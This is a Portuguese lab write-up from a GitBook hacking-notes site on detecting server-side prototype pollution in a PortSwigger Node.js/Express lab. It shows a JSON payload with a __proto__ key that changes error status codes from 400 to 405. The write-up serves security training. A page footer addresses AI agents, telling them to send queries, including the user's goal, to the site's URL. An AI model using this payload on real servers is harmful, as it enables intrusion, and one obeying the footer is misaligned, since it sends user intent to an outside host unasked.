> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/reflection-free-detection-of-changed-properties.md).

# Detecção sem reflexão de propriedades alteradas

Notas sobre detecção sem reflexão de propriedades alteradas para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Detectando poluição de protótipo no lado do servidor sem reflexão de propriedade poluída

**Contexto do laboratório**

Este laboratório roda em **Node.js** por **Express**. Ele é vulnerável a uma **poluição de protótipo no lado do servidor** porque a **aplicação merge (merge) não é segura** a partir de dados controlados pelo usuário em um objeto do lado do servidor em JavaScript.

Objetivo: **confirmar vulnerabilidade** como `Object.prototype` poluente **visível, mas não destrutivo**, apenas por meio de uma mudança no comportamento do servidor (sem necessidade de explorar mais).

Credenciais: `wiener:peter`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19c5dd9ee5c7ee747584011cedd077ccb6bbe8a%2F%7BABD0D453-AC28-4AFA-B3CB-4D0C7ED5DFFF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Dados enviados pela aplicação (endereço)**

Ao modificar o endereço de cobrança / entrega, o navegador envia um JSON semelhante para:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**Gerar um erro controlado para observar a resposta**

Se você forçar um erro de análise de JSON (por exemplo, apagando uma aspa), você obtém uma resposta **400** e o servidor retorna um objeto de erro onde o `corpo` contém nossa carga útil (reflete):

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

Resposta típica:

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2de4ffb19108aa5a5c4fdbd9b0b8749195970b11%2F%7BCF101AA8-E666-445D-B493-7B4614A6DB72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Ideia: prova de poluição sem reflexão direta**

Em vez de esperar ver uma propriedade poluída retornada no corpo, pode-se buscar uma **mudança de comportamento mensurável**, por exemplo, o \*\*código HTTP\*\* retornado durante um erro.

Aqui, o servidor usa (ou propaga) campos como `status` / `statusCode`. Se conseguirmos poluir `Object.prototype.status`, então, em erros futuros, o Express (ou o manipulador de erros) pode recuperar esse valor via a cadeia de protótipos → o servidor retornará um diferente **status**.

**Tentativa de poluição via `__proto__`**

Um `__proto__` a chave é injetada no JSON (em uma consulta JSON válida, não em uma consulta quebrada), por exemplo:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13142ee16a2b83071ec1e17de55db67d5a117341%2F%7B0E3ADAC1-446F-4697-8F06-447A7EF39BF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Efeito esperado: após essa poluição, **qualquer erro** (por exemplo, um erro de parsing de JSON proposital) agora pode responder com **405 em vez de 400**, porque `status` é herdado de `Object.prototype`.

**Resultado / validação**

* Antes da poluição: erros → `400`
* Depois da poluição: erros → `405` (ou outro código escolhido)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8502a11bc755a8ff5b77addcdbe4a8d4883a5a6%2F%7B880D560F-8BA7-437B-AE97-36FDD182BA6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/reflection-free-detection-of-changed-properties.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
